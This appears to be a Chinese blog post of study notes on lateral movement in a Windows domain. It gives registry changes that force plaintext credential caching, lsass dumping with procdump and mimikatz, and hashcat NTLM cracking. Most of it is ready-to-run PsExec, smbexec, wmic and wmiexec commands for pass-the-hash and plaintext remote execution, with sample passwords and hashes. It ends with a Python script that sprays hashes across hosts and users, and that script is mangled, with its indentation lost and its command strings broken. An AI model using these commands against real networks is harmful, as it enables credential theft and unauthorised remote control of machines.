首页 > 其他分享 >8.18域横向smb&wmi明文或hash传递

8.18域横向smb&wmi明文或hash传递

时间:2024-09-05 23:27:12浏览次数:3  
标签:administrator hash wmiexec 192.168 密码 wmi 8.18 hashes

知识点

windows 2012以上版本默认关闭wdigust,攻击者无法从内存中获取明文密码;

Windows2012以下版本如安装KB287199补丁,同样也无法从内存中获取明文密码;

解决方法:

1、利用哈希hash传递(ptl、ptk等)进行移动

2、利用其他服务协议(SMB、WMI等)进行哈希移动

3、利用注册表操作开启wdigust、Auth值进行获取

4、利用工具或第三方平台(Hachcat)进行破解

知识点2:

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

注册表修改开启Wdigest Auth值

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Procdump(windows官方自带)+Mimikatz配合获取

优点:isass.dump包括一些windows本地策略和账户管理,获取lsass.dmp文件后,可在本地mimikatz解密;
cmd切换盘:cd /d 目标地址

当mimikatz获取失败时配合procdump获取密码

1、生成储存着密码hash值的.dmp文件

procdump -accepteula -ma lsass.exe lsass.dmp
    

2、将dmp文件放到mimikatz上执行

提权:    privilege::debug

记录控制台输入结果:log

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

附两款提取密码的软件

Pwdump7

QuarksPwdump

Hashcat工具破解获取Windows NTML Hash


    hashcat -a 0 -m 1000 hash file --force

该工具还支持更多密码破解 

32ed87bdb5fdc5e9cba88547376818d4

利用SMB服务通过明文hash传递远程执行,条件445服务端口开放即可;

1、psexec第一种(pstool中的PsExec.exe文件):先有ipc链接,psexec需要明文或hash传递

需要先有ipc链接,-s以System权限运行

net use \[IP]\ipc$"[密码]" /user:[用户名]

net use \192.168.79.132\ipc$ lcn#123456 /user:lcn.cn\Administrator #建立tcp连接

PsExec.exe \192.168.79.132 -s cmd
    

2、psexec第二种:不用建立IPC直接提供明文账户密码

PsExec.exe \[IP] -u [用户名] -p [密码] -s cmd

PsExec.exe \192.168.79.132 -u administrator -p lcn#123456 -s cmd

PsExec.exe -hashes :[密码的hash值] ./[用户名]@[IP]

PsExec.exe -hashes :b7f2f7b2491ba316e8cd773f8c2d58df ./[email protected]

PsExec.exe -hashes :$HASH$ ./[email protected]

PsExec.exe -hashes :[密码的hash值] [域名]/[用户名]@[IP]

PsExec.exe -hashes :$HASH$ domain/[email protected]

尝试失败。。

官方Pstools无法采用hash连接,可以使用impacket工具包,操作简单,容易被杀

3smbexec无需先ipc链接明文或hash传递

smbexec [域名]/[用户名]:[密码]@[IP]

smbexec lcn.cn/administrator:lcn#[email protected]

smbexec ./[用户名]:[密码]@[IP]

smbexec ./administrator:lcn#[email protected]
    
    smbexec -hashes :[密码的hash值] ./[用户名]@[IP]

smbexec -hashes :$HASH$ ./lcn#[email protected]
    
    smbexec -hashes :[密码的hash值] [域名]/[用户名]@[IP]
    

smbexec -hashes :$HASH$ lcn.cn/[email protected]

 smbexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df  lcn.cn/[email protected]

使用impacket工具包中的psexec模板同理

psexec -hashes :b7f2f7b2491ba316e8cd773f8c2d58df  lcn.cn/[email protected]

如何区分本地和域用户

net user :本地用户
net user /domain:域用户;连接域用户需加域名;

域横向移动WMI服务利用-cscript、wmiexec、wmic

WMI(Windows Management Instrumentation)是==通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。==**

**1、自带WMIC明文传递,无回显

wmic /node:[IP] /user:[用户名] /password:[密码] process call create "[命令]"

wmic /node:192.168.79.130 /user:administrator /password:admin@123 process call create "cmd.exe /c ipconfig >C:\1.txt"

(运行cmd,执行ipconfig并将结果输出到C盘下的1.txt中)

2、自带cscript明文传递,有回显,需要下载wmiexec.vbs配合

cscript //nologo wmiexec.vbs /shell [IP] [用户名] [密码]

cscript //nologo wmiexec.vbs /shell 192.168.79.130 administrator admin@123

会反弹一个shell

3、套件impacket wmiexec明文或hash传递,有回显exe版本,可能被杀

wmiexec ./[用户名]:[密码]@[IP] "[命令]"

wmiexec ./administrator:lcn#[email protected] "whoami"

wmiexec [域名]/[用户名]:[密码]@[IP] "[命令]"

wmiexec lcn.cn/administrator:lcn#[email protected] "whoami"

wmiexec -hashes :[密码的hash值] ./[用户名]:[密码]@[IP] "[命令]"

wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./[email protected] "whoami"

wmiexec -hashes :[密码的hash值] [域名]/[用户名]:[密码]@[IP] "[命令]"

wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 god/[email protected] "whoami"

域横向移动以上服务hash批量利用-python编译exe

利用py脚本制作的exe文件批量尝试横向渗透

内网横向渗透攻击思路

通过mimikatz收集明文或hash值的密码,“net user /domain”收集域内的用户名,“for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="”探索域内存活地址

批量扫描,用密码撞库

收集更多密码

重复2、3步
``
 ```
 import os
import time
ips={
'192.168.79.128',
'192.168.79.129',
'192.168.79.130',
'192.168.79.132'
}
users={
'admin',
'Administrator',
'administrator',
'userlu',
'testuser',
'juligan'
}
hashs={
'579da618cfbfa85247acf1f800a280a4',
'b7f2f7b2491ba316e8cd773f8c2d58df'
}
'''
passs={
'admin@123', 'admin!123', 'admin#123', 'lcn#123456'}
'''
for ip in ips:
for user in users:
for hash in hashs:
# wmiexec -hashes :579da618cfbfa85247acf1f800a280a4 ./[email protected] "whoami"
exec="wmiexec -hashes :" +hash +' lcn.cn/' +user+ '@'+ ip + "whoami"
execs = "wmiexec -hashes :" + hash + ' ./administrator' + user + '@' + ip + "whoami"
print('--》'+exec+'《--')
os.system(exec)
time.sleep(1)


### 涉及资源:

Hashcat:https://github.com/hashcat/hashcat

密码破解全能工具:Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html

mimikatz:https://github.com/gentilkiwi/mimikatz

impacket:https://github.com/SecureAuthCorp/impacket

impacket-examples-windows:https://gitee.com/RichChigga/impacket-examples-windows

PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

ProcDump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

wmiexec.vbs:https://github.com/realdeveloperongithub/K8tools/blob/master/wmiexec.vbs

wmiexec.vbs(找了俩):https://gitee.com/mirrors/K8tools/blob/master/wmiexec.vbs

标签:administrator,hash,wmiexec,192.168,密码,wmi,8.18,hashes
From: https://www.cnblogs.com/lusang/p/18399380

相关文章

  • 还不懂 ConcurrentHashMap ?这份源码分析了解一下
    1.源码分析在JDK8中的ConcurrentHashMap一共有5个构造方法,这几个构造方法中都没有对内部的数组做初始化,只是对一些变量的初始值做了处理,其中ConcurrentHashMap的数组初始化是在第一次添加元素时完成的。//没有维护任何变量的操作,如果调用该方法,数组长度默认是16public C......
  • concurrentMap和hashMap的区别,两者的应用场景?
    concurrentMap和hashMap的区别,两者的应用场景?ConcurrentHashMap和HashMap在Java中都是用于存储键值对的数据结构,但它们之间存在显著的差异,特别是在多线程环境下的表现。HashMap不是线程安全的,当多个线程同时修改HashMap时,可能会导致数据的不一致。相比之下,ConcurrentHashMap是专......
  • 一致性哈希(Consistent Hashing)
    基本概念        一致性哈希(ConsistentHashing)是一种特殊的哈希算法,主要用于解决分布式系统中数据分布的问题,尤其是在需要动态添加或移除服务器(节点)的情况下。传统哈希算法在节点变化时可能会导致大部分甚至全部的数据重新分布,这样会导致大量的数据迁移,增加了系统的......
  • pycharm报错:TypeError: unhashable type: 'slice'
    一、原因:没有使用正确的数组或没有使用正确的读取数据的方式二、因为我在yaml中,传参用的是字典格式三、但是@pytest.mark.parametrize("",[]),需要传数组importpytest#数组的形式@pytest.mark.parametrize("name,word",[["安琪拉","火烧屁屁咯"],["黄忠","黄忠黄......
  • ConcurrentHashMap源码剖析
    ConcurrentHashMap源码剖析https://www.bilibili.com/video/BV1Qg41197FG/?spm_id_from=333.337.search-card.all.click&vd_source=273847a809b909b44923e3af1a7ef0b1ConcurrentHashMap是Hashmap的并发形式。虽然Hashtable也是线程安全的,但是它的并发能力相比于ConcurrentHashMa......
  • 二维Hash
    前置知识:字符串hash我们定义一个字符串s的hash值为:\[\begin{aligned}\sum_{i=1}^ns[i]\timesp1^{(n-i)}\end{aligned}\]其中n是字符串的长度,i从1~n(下标从1开始),p1是一个稍微大一点的质数code: intp1=13331; unsignedlonglongh=0; for(inti=1;i<=n;i++......
  • java~重写hashcode和equals
    单字段和多字段重写hashcode在Java中,重写hashCode方法的场景通常与对象的哈希值计算有关,特别是在使用哈希表(如HashMap,HashSet等)时。下面是你提供的两种hashCode实现的具体使用场景分析:1.第一种实现@Overridepublicbooleanequals(Objecto){if(this==o)......
  • STM32 TIM输入捕获(输入捕获模式测频率&&PWMI模式测频率占空比)
    理论1.输入捕获简介IC(InputCapture)输入捕获输入捕获模式下,当通道输入引脚出现指定电平跳变时,当前CNT的值将被锁存到CCR中,可用于测量PWM波形的频率、占空比、脉冲间隔、电平持续时间等参数每个高级定时器和通用定时器都拥有4个输入捕获通道可配置为PWMI模式,同时测量频率和......
  • 题解:AT_abc257_d [ABC257D] Jumping Takahashi 2
    [ABC257D]JumpingTakahashi2博客食用更佳:Myblog。大体思路这题是一道二分题,因为\(S\)越大,就越容易满足题目要求,\(S\)越小,就越难满足题目要求,符合二分的特点。下面先贴上二分代码。LLl=0,r=1e10;while(l<r){intmid=l+r>>1;if(check(mid))......
  • equals ,hashcode ,== ,三者之间的关系与区别
    为什么要重写equals和hashcode        在Java中,重写equals方法和hashCode方法是为了确保对象在逻辑上相等时,它们在集合(如HashMap、HashSet)中的行为也是一致的。以下是详细解释:为什么要重写 equals 方法默认行为:默认情况下,Object类的equals方法比较的是两个对......